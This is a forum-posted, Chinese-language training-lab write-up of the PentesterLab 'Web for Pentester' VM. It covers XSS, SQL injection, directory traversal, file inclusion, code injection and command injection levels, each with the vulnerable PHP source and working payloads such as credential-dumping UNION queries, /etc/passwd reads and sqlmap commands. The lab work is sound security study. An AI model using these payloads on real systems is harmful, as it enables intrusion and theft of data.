• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Web for Pentester 靶场学习记录


JieGe

Recommended Posts

  • Members

Web for Pentester 也是一个经典的靶场,也叫做 PentesterLab 。

配置部署

官方地址PentesterLab: Learn Web App Pentesting!

靶场是封装在一个 Debian 系统里面的,官方提供的是虚拟机的 ISO 文件 172MB 大小左右,安装很简单,直接虚拟机挂载启动就可以了。因为系统是最小化安装,没有安装桌面环境,虚拟机下无法安装 vmtools 之类的工具,实际体验并不怎么样,为了方便查看网站源码信息,我们得简单配置一下:Bash


 
 
# 查看 IP 地址
 
$ ip a
 
 
 
# 查看 SSH 服务是否运行
 
$ /etc/init.d/ssh status
 
sshd is running.
 
 
 
# 设置 root 密码
 
$ sudo passwd

 
 
 
 
 
 

发现 SSH 服务是安装配置好的了的,而且正在运行,这个时候我们设置一下 root 密码 就可以通过 SSH 远程连接虚拟机了,这样很方便我们查看源码等信息。

下面是一些基本的服务信息:Bash


 
 
# apache 版本为 2.2.16
 
$ apache2 -v
 
Server version: Apache/2.2.16 (Debian)
 
Server built: Mar 3 2013 11:36:05
 
 
 
# PHP 的版本为 5.3.3
 
$ php -v
 
PHP 5.3.3-7+squeeze15 with Suhosin-Patch (cli) (built: Mar 4 2013 14:05:25)
 
Copyright (c) 1997-2009 The PHP Group
 
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
 
 
 
# MySQL 版本为 5.1.66 默认 root 密码为 空
 
$ mysql -e "select version(),user();"
 
+-------------------+----------------+
 
| version() | user() |
 
+-------------------+----------------+
 
| 5.1.66-0+squeeze1 | root@localhost |
 
+-------------------+----------------+
 
 
 
# 网站的默认目录
 
$ ls /var/www/
 
codeexec css favicon.ico files header.php index.php ldap upload xss
 
commandexec dirtrav fileincl footer.php img js sqli xml

 
 
 
 
 
 

查看服务器的默认 80 端口 开着 Web 靶场服务,浏览器直接访问即可:

15907443366730.png

XSS 跨站脚本攻击

XSS 一共 9 个关卡,实际上在之前国光也单独总结过各个靶场的 XSS 题目,感兴趣的朋友可以详见我的这篇文章:XSS从零开始

Example 1 无任何过滤

源码Php


 
 
<?php
 
echo $_GET["name"];
 
?>

 
 
 
 
 
 

name 变量直接通过 GET 方式传进去,然后通过 echo 直接输出到网页中 。

payloadJavascript


 
 
example1.php?name=<script>alert('XSS')</script>

 
 
 
 
 
 

Example 2 大小写绕过

源码Php


 
 
<?php
 
$name = $_GET["name"];
 
$name = preg_replace("/<script>/","", $name);
 
$name = preg_replace("/<\/script>/","", $name);
 
echo $name;
 
?>

 
 
 
 
 
 

使用了preg_replace函数来过滤<script></script>标签,这里由于正则缺陷,没有考虑到大小写的情况,所以这里可以用大小写转换绕过。

payloadJavascript


 
 
example2.php?name=<Script>alert('XSS')</scripT>

 
 
 
 
 
 

实际上这里使用嵌套双写绕过也是 OK 的,不过这个姿势点下一关会说,国光这里就不再啰嗦了。

Example 3 嵌套绕过

源码Php


 
 
<?php
 
$name = $_GET["name"];
 
$name = preg_replace("/<script>/i","", $name);
 
$name = preg_replace("/<\/script>/i","", $name);
 
echo $name;
 
?>

 
 
 
 
 
 

这里在第2关的基础上面,正则规则上面使用了/i,表示不区分大小写,利用这个特点可以构造一个嵌套的标签:Javascript


 
 
<scr<script>ipt>

 
 
 
 
 
 

被检测到<script>后,替换为了空(即删掉)就变成了一个完整的标签:Javascript


 
 
<script>

 
 
 
 
 
 

payloadJavascript


 
 
example3.php?name=<sc<script>ript>alert('XSS')</</script>script>

 
 
 
 
 
 

Example 4 其他标签绕过

源码Php


 
 
<?php require_once '../header.php';
 
 
 
if (preg_match('/script/i', $_GET["name"])) {
 
die("error");
 
}
 
?>
 
 
 
Hello <?php echo $_GET["name"]; ?>

 
 
 
 
 
 

对 script 关键词进行了不区分大小写地过滤,匹配到就直接调用die("error")终止程序运行,因此上述的方法就不再适用,但是还可以通过其他许多标签来触发JS事件。

payloadJavascript


 
 
example4.php?name=<img src=x onerror=alert('XSS')>

 
 
 
 
 
 

Example 5 编码或者其他方法绕过

源码Php


 
 
<?php require_once '../header.php';
 
 
 
if (preg_match('/alert/i', $_GET["name"])) {
 
die("error");
 
}
 
?>
 
 
 
Hello <?php echo $_GET["name"]; ?>

 
 
 
 
 
 

对 alert 关键词进行了不区分大小写地过滤,可以使用其他类似 alert 的方法来弹窗

payload1Javascript


 
 
example5.php?name=<script>confirm('XSS')</script>
 
example5.php?name=<script>prompt('XSS')</script>

 
 
 
 
 
 

也可以通过String.fromCharCode()编码来绕过,使用Hackbar可以很方便地进行编码


 
 
alert('XSS')

 
 
 
 
 
 

经过 String.fromCharCode() 编码为:Javascript


 
 
String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)

 
 
 
 
 
 

payload2Javascript


 
 
example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>

 
 
 
 
 
 

Example 6 闭合双引号

源码Php


 
 
<script>
 
var $a= "<?php echo $_GET["name"]; ?>";
 
</script>

 
 
 
 
 
 

通过 GET 方式传入的 name 变量,直接输出在了script标签里面,可以尝试闭合前面的双引号",然后直接调用alert方法来弹窗,末尾再使用双引号"闭合后面的双引号。

payload1Javascript


 
 
example6.php?name=";alert('XSS');"

 
 
 
 
 
 

也可以尝试通过//直接注释掉后面的双引号",这样就不用考虑闭合了:

payload2Javascript


 
 
example6.php?name=";alert('XSS');//

 
 
 
 
 
 

Example 7 闭合单引号

源码Php


 
 
<script>
 
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
 
</script>

 
 
 
 
 
 

和上一题类似,只是这里的最后是通过htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给 a 变量赋值的,所以依然可以通过闭合单引号'来弹窗。

payloadJavascript


 
 
example7.php?name=';alert('XSS');'
 
example7.php?name=';alert('XSS');//

 
 
 
 
 
 

Example 8 PHP_SELF

源码**Php


 
 
<?php
 
require_once '../header.php';
 
 
 
if (isset($_POST["name"])) {
 
echo "HELLO ".htmlentities($_POST["name"]);
 
}
 
?>
 
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
 
Your name:<input type="text" name="name" />
 
<input type="submit" name="submit"/>

 
 
 
 
 
 

name 变量通过 form 表单以POST方式传入,然后通过htmlentities函数是实体化后输出来,这次通过 POST方式传入的 name 变量是比较安全的,暂时无法突破。重点分析这里<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">,用户依然可以控制参数 PHP_SELF,并且这里没有过滤直接输入到了form标签中,所以这里通过闭合依然可以XSS。

闭合引号和标签,通过<script>标签来弹窗:

payload1Javascript


 
 
example8.php/"><script>alert('XSS')</script>//

 
 
 
 
 
 

也可以通过闭合引号,通过事件来触发弹窗:

payload2Javascript


 
 
example8.php/" onclick=alert('XSS')//

 
 
 
 
 
 

Example 9 location.hash

源码Php


 
 
<script>
 
document.write(location.hash.substring(1));
 
</script>

 
 
 
 
 
 

直接通过location.hash传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性往网页中写入 JS 代码。要了解这个location.hash属性,可以参考 W3C 的这篇资料:HTML DOM hash 属性

payloadJavascript


 
 
example9.php#<script>alert('XSS')</script>

 
 
 
 
 
 

执行完成后,手动刷新下浏览器,经测试在 Chrome 和 FireFox 浏览器上的尖括号会被自动转码,在IE内核的浏览器上可以正常运行

SQL injections SQL 注入

刷完 SQLI labs 靶场再看这些注入简直小菜一碟 23333

Example 1 基础注入

关键代码:Php


 
 
$sql = "SELECT * FROM users where name='";
 
$sql .= $_GET["name"]."'";
 
$result = mysql_query($sql);
 
if ($result) {
 
while ($row = mysql_fetch_assoc($result))
 
echo "<tr>";
 
echo "<td>".$row['id']."</td>";
 
echo "<td>".$row['name']."</td>";
 
echo "<td>".$row['age']."</td>";
 
echo "</tr>";
 
}
 
echo "</table>";

 
 
 
 
 
 
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 name=’X’

那么就直接丢 payload 吧:Payload


 
 
example1.php?name=x' union select 1,2,(SELECT+GROUP_CONCAT(name,":",passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5--+

 
 
 
 
 
 

Example 2 过滤空格

关键代码:Php


 
 
if (preg_match('/ /', $_GET["name"])) {
 
die("ERROR NO SPACE");
 
}
 
$sql = "SELECT * FROM users where name='";
 
$sql .= $_GET["name"]."'";
 
$result = mysql_query($sql);

 
 
 
 
 
 
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 name=’X’

和 Example 1 基本上一致,只是这里过滤了 空格,如果匹配到空格的话,直接就终止函数。

过滤空格可以尝试通过下面的字符来替代:

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0c 新的一页
  • %0d return 功能
  • %0b TAB 键(垂直)
  • %a0 空格
  • /**/ 多行注释

最终的 payload 如下:Payload


 
 
example2.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23

 
 
 
 
 
 

Example 3 过滤连续空格

关键代码:Php


 
 
if (preg_match('/\s+/', $_GET["name"])) {
 
die("ERROR NO SPACE");
 
}
 
$sql = "SELECT * FROM users where name='";
 
$sql .= $_GET["name"]."'";
 
$result = mysql_query($sql);

 
 
 
 
 
 
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where name=’X’

来过滤一个或多个连续空格。但是,我仍然可以使用多行注释/**/ 或者 Example 2 其他字符来 BypassPayload


 
 
example3.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23

 
 
 
 
 
 

sqlmap 也有内置的 tamper 可以直接使用:Bash


 
 
sqlmap -u "http://10.211.55.20/sqli/example3.php?name=root*%23" --technique=U --dbms=MySQL --tamper="space2comment" --random-agent --flush-session -v 3 --level=3

 
 
 
 
 
 

Example 4 画蛇添足的过滤

关键代码:Php


 
 
# id 直接拼接到 SQL 语句中
 
$sql="SELECT * FROM users where id=";
 
$sql.=mysql_real_escape_string($_GET["id"])." ";
 
$result = mysql_query($sql);

 
 
 
 
 
 
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符:\'",那么问题来了 这一题中并没有使用引号来闭合,所以注入的时候我们也不需要引号,所以实际上这个函数并没有发挥作用,下面正常进行注入吧:Payload


 
 
example4.php?id=-2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5

 
 
 
 
 
 

Example 5 画蛇添足的正则

关键代码:Php


 
 
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
 
die("ERROR INTEGER REQUIRED");
 
}
 
$sql = "SELECT * FROM users where id=";
 
$sql .= $_GET["id"] ;
 
 
 
$result = mysql_query($sql);

 
 
 
 
 
 
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

参数 id 必须是数字开头,否则直接终止函数运行。不过实际手工注入的时候默认 id 是满足这个条件的,除非我们手动修改这个 id 的值:Payload


 
 
example5.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5

 
 
 
 
 
 

这里不能用 id=-2 来构造报错了,因为正则限制 id 必须是数字开题,所以这里使用了 and 1=2 来构造报错。不过实际上这里不用构造报错也可以的,因为页面不止显示一条查询信息,但是由于注入习惯的原因,国光我这里喜欢构造报错。

Example 6 画蛇添足的正则 again

关键代码:Php


 
 
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
 
die("ERROR INTEGER REQUIRED");
 
}
 
$sql = "SELECT * FROM users where id=";
 
$sql .= $_GET["id"] ;
 
 
 
$result = mysql_query($sql);

 
 
 
 
 
 
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

这里和 Example 5 差不多,只是这里确保 id 的值以数字结束,看看我们的上一关的 payload:Payload


 
 
example6.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5

 
 
 
 
 
 

恰巧是以数字 5 结束,所以这个正则就很画蛇添足

Example 7 /m 正则缺陷 Bypass

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

关键代码:Php


 
 
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
 
die("ERROR INTEGER REQUIRED");
 
}
 
$sql = "SELECT * FROM users where id=";
 
$sql .= $_GET["id"];
 
 
 
$result = mysql_query($sql);

 
 
 
 
 
 

id 只允许 233 或者 -233 这样的形式,这样肯定是无法进行注入的了。天无绝人之路,仔细观察 这里使用了 /m ,/m表示开启多行匹配模式,正常情况下^ 和$ 是匹配字符串的开始和结尾,开启多行模式之后,多行模式^,$可以匹配每行的开头和结尾。我们常用:

  • %0A 换行

来绕过 /m 模式的正则检测,完整的 payload 如下:Payload


 
 
example7.php?id=-2%0a union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5

 
 
 
 
 
 

使用 sqlmap 也是可以正常进行注入的:Bash


 
 
sqlmap -u "http://10.211.55.20/sqli/example7.php?id=2" --technique=U --dbms=MySQL --prefix="%0a" --random-agent --flush-session -v 3

 
 
 
 
 
 

Example 8 order by 盲注

关键代码:Php


 
 
$sql = "SELECT * FROM users ORDER BY `";
 
$sql .= mysql_real_escape_string($_GET["order"])."`";
 
$result = mysql_query($sql);

 
 
 
 
 
 
请求方式 注入类型 闭合方式
GET 布尔盲注、延时盲注 order by `X`

order by 不同于 where 后的注入点,不能使用 union 等进行注入。不过注入方式也十分灵活,下面在本关来详细讲解一下。这里并没有输出报错日志,这里只能使用盲注,效率要低一些,国光这里使用布尔类型盲注来简单尝试一下:Bash


 
 
# 数据库第 1 位的 ascii 码为 101 即 e
 
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))--+
 
 
 
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))--+
 
 
 
# 数据库第 2 位的 ascii 码为 120 即 x
 
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))--+
 
 
 
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))--+
 
...

 
 
 
 
 
 

直接用 sqlmap 当然也是可以跑起来的:Bash


 
 
sqlmap -u "http://10.211.55.20/sqli/example8.php?order=name" --technique=B --dbms=MySQL --prefix='`' --random-agent --flush-session -v 3 --level 3

 
 
 
 
 
 

Example 9 order by 盲注

关键代码:Php


 
 
$sql = "SELECT * FROM users ORDER BY ";
 
$sql .= mysql_real_escape_string($_GET["order"]);
 
$result = mysql_query($sql);

 
 
 
 
 
 
请求方式 注入类型 闭合方式
GET 布尔盲注、延时盲注 order by X

比 Example 8 更简单,这里没有奇怪的闭合拼接方式就直接导入到 SQL 语句中了,下面直接开始注入吧:Bash


 
 
# 数据库第 1 位的 ascii 码为 101 即 e
 
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))
 
 
 
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))
 
 
 
# 数据库第 2 位的 ascii 码为 120 即 x
 
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))
 
 
 
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))

 
 
 
 
 
 

直接用 sqlmap 当然也是可以跑起来的:Bash


 
 
sqlmap -u "http://10.211.55.20/sqli/example9.php?order=name" --technique=B --dbms=MySQL --random-agent --flush-session -v 3

 
 
 
 
 
 

Directory traversal 目录穿越

Example 1

关键代码:Php


 
 
<?php
 
 
 
$UploadDir = '/var/www/files/';
 
 
 
if (!(isset($_GET['file'])))
 
die();
 
 
 
$file = $_GET['file'];
 
$path = $UploadDir . $file;
 
 
 
if (!is_file($path))
 
die();
 
 
 
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
 
header('Cache-Control: public');
 
header('Content-Disposition: inline; filename="' . basename($path) . '";');
 
header('Content-Transfer-Encoding: binary');
 
header('Content-Length: ' . filesize($path));
 
 
 
$handle = fopen($path, 'rb');
 
 
 
do {
 
$data = fread($handle, 8192);
 
if (strlen($data) == 0) {
 
break;
 
}
 
echo($data);
 
} while (true);
 
 
 
fclose($handle);
 
exit();
 
 
 
?>

 
 
 
 
 
 

默认头像的地址是:Payload


 
 
/dirtrav/example1.php?file=hacker.png

 
 
 
 
 
 

可以发现 png 图片这里变成直接解析图片文本内容了:

15907525807528.png

结合代码来看:Php


 
 
$handle = fopen($path, 'rb');

 
 
 
 
 
 

这里 path 变量没有进行任何过滤,导致可以通过../../../的形式造成目录穿越,下面直接丢 payload 吧:Payload


 
 
/dirtrav/example1.php?file=../../../../../etc/passwd

 
 
 
 
 
 

Example 2

关键代码:Php


 
 
<?php
 
if (!(isset($_GET['file'])))
 
die();
 
 
 
$file = $_GET['file'];
 
 
 
if (!(strstr($file,"/var/www/files/")))
 
die();
 
 
 
$handle = fopen($file, 'rb');
 
?>

 
 
 
 
 
 

默认头像地址是:Payload


 
 
/dirtrav/example2.php?file=/var/www/files/hacker.png

 
 
 
 
 
 

这里检测了 file 参数必须含有 /var/www/files/,实际上并不影响我们使用 ../../进行目录穿越:Payload


 
 
/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd

 
 
 
 
 
 

Example 3 %00 截断

关键代码:Php


 
 
<?php
 
$UploadDir = '/var/www/files/';
 
 
 
if (!(isset($_GET['file'])))
 
die();
 
 
 
$file = $_GET['file'];
 
$path = $UploadDir . $file.".png";
 
// Simulate null-byte issue that used to be in filesystem related functions in PHP
 
$path = preg_replace('/\x00.*/',"",$path);
 
 
 
if (!is_file($path))
 
die();
 
 
 
$handle = fopen($path, 'rb');
 
?>

 
 
 
 
 
 

这里在我们的文件后面手动添加了 .png 后缀,导致我们不能随心所欲的读取文件了:Php


 
 
$path = $UploadDir . $file.".png";

 
 
 
 
 
 

实际上这里可以通过 00 截断来 Bypass PHP <= 5.3.4 版本,且魔术引号处于关闭状态的时候可以 00 截断成功。但是这里表面上有过滤措施了:Php


 
 
$path = preg_replace('/\x00.*/',"",$path);

 
 
 
 
 
 

但是关键过滤的正则写的有问题:\x00.*,他会把 00 截断的后面也给替换为空,刚好可以把 .png 给干掉,23333 不是很懂这种操作,那么就直接丢 payload 吧:Payload


 
 
/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

 
 
 
 
 
 

File Include 文件包含

Example 1

关键代码:Php


 
 
<?php require_once '../header.php'; ?>
 
<?php
 
if ($_GET["page"]) {
 
include($_GET["page"]);
 
}
 
?>

 
 
 
 
 
 

最基础的文件包含,page 变量通过 GET 方式传递值,然后直接被 include 函数包含,下面直接丢 payload:Payload


 
 
/fileincl/example1.php?page=/etc/passwd

 
 
 
 
 
 

尝试了一下,发现还可以进行远程文件包含:Payload


 
 
/fileincl/example1.php?page=http://www.baidu.com/robots.txt

 
 
 
 
 
 

关于文件包含的漏洞利用,国光这里不再赘述,详细可以参考我之前写的文章:DVWA 入门靶场学习记录里面的文件包含部分

Example 2 截断

关键代码:Php


 
 
<?php
 
if ($_GET["page"]) {
 
$file = $_GET["page"].".php";
 
// simulate null byte issue
 
$file = preg_replace('/\x00.*/',"",$file);
 
include($file);
 
}
 
?>

 
 
 
 
 
 

虽然在 page 后面手动添加了 .php 后缀了,但是下面在正则依然是\x00.*谜一样的操作,依然是吧 00 截断以及后面的内容都替换为空,这样间接地帮助我们把 .php 给干掉了,美滋滋,直接丢 payload 吧:Payload


 
 
/fileincl/example2.php?page=/etc/passwd%00

 
 
 
 
 
 

实际上如果进行远程文件包含的话,还可以使用?#截断,#的 URL 编码就是 %23:


 
 
/fileincl/example2.php?page=https://www.baidu.com/robots.txt?
 
/fileincl/example2.php?page=https://www.baidu.com/robots.txt%23

 
 
 
 
 
 

Code injection 代码注入

Example 1

关键代码:Php


 
 
<?php
 
$str="echo \"Hello ".$_GET['name']."!!!\";";
 
eval($str);
 
?>

 
 
 
 
 
 

name 参数通过 GET 方式传递,然后没有过滤,最终直接被 eval 函数解析,这样当用户 name 传递非法字符的时候,就会产生代码注入,但是注入前我们需要闭合好原来的语句,然后注释掉后面的语句:Payload


 
 
";phpinfo();//

 
 
 
 
 
 

这样带入到语句中就是如下的效果:Php


 
 
echo "Hello ";phpinfo();//!!!"

 
 
 
 
 
 

所以最终的 payload 如下:Payload


 
 
/codeexec/example1.php?name=";phpinfo();//

 
 
 
 
 
 

类似的还有其他姿势可以使用:Bash


 
 
# 使用 . 拼接字符串 闭合后面双引号
 
/codeexec/example1.php?name=hacker".phpinfo();$a="
 
 
 
# 使用 . 拼接字符串 注释掉后面双引号
 
/codeexec/example1.php?name=hacker".phpinfo();//
 
 
 
# 使用 ${${code}} 直接插入代码
 
/codeexec/example1.php?name=${${phpinfo()}}

 
 
 
 
 
 

Example 2 create_function 命令注入

关键代码:Php


 
 
<?php
 
class User{
 
public $id, $name, $age;
 
function __construct($id, $name, $age){
 
$this->name= $name;
 
$this->age = $age;
 
$this->id = $id;
 
}
 
}
 
$sql = "SELECT * FROM users ";
 
 
 
$order = $_GET["order"];
 
$result = mysql_query($sql);
 
if ($result) {
 
while ($row = mysql_fetch_assoc($result)) {
 
$users[] = new User($row['id'],$row['name'],$row['age']);
 
}
 
if (isset($order)) {
 
# 使用用户自定义的比较函数对数组进行排序
 
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
 
}
 
}
 
?>

 
 
 
 
 
 
  • usort

使用用户自定义的比较函数对数组中的元素进行排序Php


 
 
usort(array,myfunction);

 
 
 
 
 
 
参数 说明
array 必需。规定要进行排序的数组。
myfunction 可选。定义可调用比较函数的字符串。
  • create_function

创建一个匿名(lambda样式)函数Php


 
 
create_function ( string $args , string $code )

 
 
 
 
 
 
参数 说明
args 变量部分
code 方法代码部分

此函数在内部执行 eval(),因此具有与 eval()相同的安全性问题。此外,它还具有不良的性能和内存使用特性。

举例:Php


 
 
create_function('$fname','echo $fname."welcome"')

 
 
 
 
 
 

类似于:Php


 
 
function fT($fname) {
 
echo $fname."welcome";
 
}

 
 
 
 
 
 

知道原理后我们再来看下面的这段代码:Php


 
 
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

 
 
 
 
 
 

这里面 order 变量 $order = $_GET["order"]; 是通过 GET 方式传递,唯一可控的,这里我们来尝试闭合掉这个 create_function 来进行代码注入:

当 order 的内容如下:


 
 
id);}phpinfo();//

 
 
 
 
 
 

从事带入到代码中就是如下效果:Php


 
 
return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);

 
 
 
 
 
 

转换成函数形式就是下面的效果:Php


 
 
create_function('$a, $b', 'return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);'));

 
 
 
 
 
 

即:Php


 
 
funciton fT($a,$b){return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);}

 
 
 
 
 
 

这个时候 phpinfo() 就会成功执行了,所以最终的 payload 如下:Payload


 
 
/codeexec/example2.php?order=id);}phpinfo();//

 
 
 
 
 
 

Example 3 preg_replace 命令注入

关键代码:Php


 
 
<?php
 
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
 
?>

 
 
 
 
 
 
  • preg_replace()

执行一个正则表达式的搜索和替换Php


 
 
preg_replace($pattern ,$replacement,$subject [,int $limit = -1 [,int &$count ]])

 
 
 
 
 
 
参数 说明
$pattern 要搜索的模式,可以是字符串或一个字符串数组
$replacement 用于替换的字符串或字符串数组
$subject 要搜索替换的目标字符串或字符串数组
$limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
$count 可选,为替换执行的次数

版本更新日志:

版本 说明
7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替
5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。
5.1.0 增加参数count

$pattern 在 /e 模式下会将新输入 $replacement参数的值当成 PHP 代码执行,知道这个原理后我最终构造的 payload 如下:Payload


 
 
/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer

 
 
 
 
 
 

Example 4 assert 命令注入

关键代码:Php


 
 
<?php
 
// ensure name is not empty
 
assert(trim("'".$_GET['name']."'"));
 
echo "Hello ".htmlentities($_GET['name']);
 
?>

 
 
 
 
 
 
  • trim

移除字符串两侧的空白字符或其他预定义字符。Php


 
 
trim(string,charlist)

 
 
 
 
 
 
参数 说明
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
  • “\0” – NULL
  • “\t” – 制表符
  • “\n” – 换行
  • “\x0B” – 垂直制表符
  • “\r” – 回车
  • “ “ – 空格

assert 在 PHP 5 的版本中也是可以执行代码的,思路和 Example 1 那样,闭合语句导致代码执行,可以使用如下 payload :Bash


 
 
# 闭合前面单引号 注释掉后面单引号
 
/codeexec/example4.php?name=hacker'.phpinfo();//
 
 
 
# 闭合前后单引号
 
/codeexec/example4.php?name=hacker'.phpinfo().'
 
 
 
# ${${code}} 直接插入代码
 
/codeexec/example4.php?name=hacker'.${${phpinfo()}}.'

 
 
 
 
 
 

Commands injection 命令执行

Example 1

关键代码:Php


 
 
<?php
 
system("ping -c 2 ".$_GET['ip']);
 
?>
 
</pre>

 
 
 
 
 
 

ip 参数直接通过 GET 传递到 system 函数中,造成命令执行,可以使用使用如下命令连接符号来拼接自己的命令:

符号 说明
A;B A 不论正确与否都会执行 B 命令
A&B A 后台运行,A 和 B 同时执行
A&&B A 执行成功时候才会执行 B 命令
A|B A 执行的输出结果,作为 B 命令的参数,A 不论正确与否都会执行 B 命令
A||B A 执行失败后才会执行 B 命令

所以最终可以构造出如下可以利用的 payload:Bash


 
 
/commandexec/example1.php?ip=127.0.0.1;cat /etc/passwd
 
# & 与 && 国光没有复现成功
 
/commandexec/example1.php?ip=127.0.0.1&cat /etc/passwd
 
/commandexec/example1.php?ip=127.0.0.1&&cat /etc/passwd
 
/commandexec/example1.php?ip=127.0.0.1|cat /etc/passwd
 
/commandexec/example1.php?ip=233||cat /etc/passwd

 
 
 
 
 
 

& 与 && 国光没有复现成功,但是在 DVWA 里面是正常执行的,有知道的师傅欢迎评论区指点迷津。

Example 2 %0a 绕过

关键代码:Php


 
 
<pre>
 
<?php
 
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
 
die("Invalid IP address");
 
}
 
system("ping -c 2 ".$_GET['ip']);
 
?>
 
</pre>

 
 
 
 
 
 

这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了 /m 多行匹配模式,所以我们这里可以使用 %0a 换行,后面跟上自己的 payload 即可:Payload


 
 
/commandexec/example2.php?ip=127.0.0.1%0acat /etc/passwd

 
 
 
 
 
 

Example 3 重定向捕捉

关键代码:Php


 
 
<pre>
 
<?php
 
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
 
header("Location: example3.php?ip=127.0.0.1");
 
}
 
system("ping -c 2 ".$_GET['ip']);
 
?>
 
</pre>

 
 
 
 
 
 

preg_match 去掉了 /m 多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:Payload


 
 
/commandexec/example3.php?ip=127.0.0.1

 
 
 
 
 
 

虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果:Bash


 
 
/commandexec/example3.php?ip=127.0.0.1;cat /etc/passwd
 
/commandexec/example3.php?ip=127.0.0.1|cat /etc/passwd
 
/commandexec/example3.php?ip=233||cat /etc/passwd

 
 

可以使用 BP 抓包来查看返回包,也可以直接使用 curl 命令来查看短暂出现的运行结果:Bash


 
 
curl "http://10.211.55.20/commandexec/example3.php?ip=127.0.0.1;cat%20/etc/passwd"

 
 
 
 
 
 
15908047289767.png

LDAP attacks LDAP 攻击

LDAP 是轻量目录访问协议,英文全称是 Lightweight Directory Access Protocol,一般都简称为 LDAP。它是基于X.500标准的,但是简单多了并且可以根据需要定制。

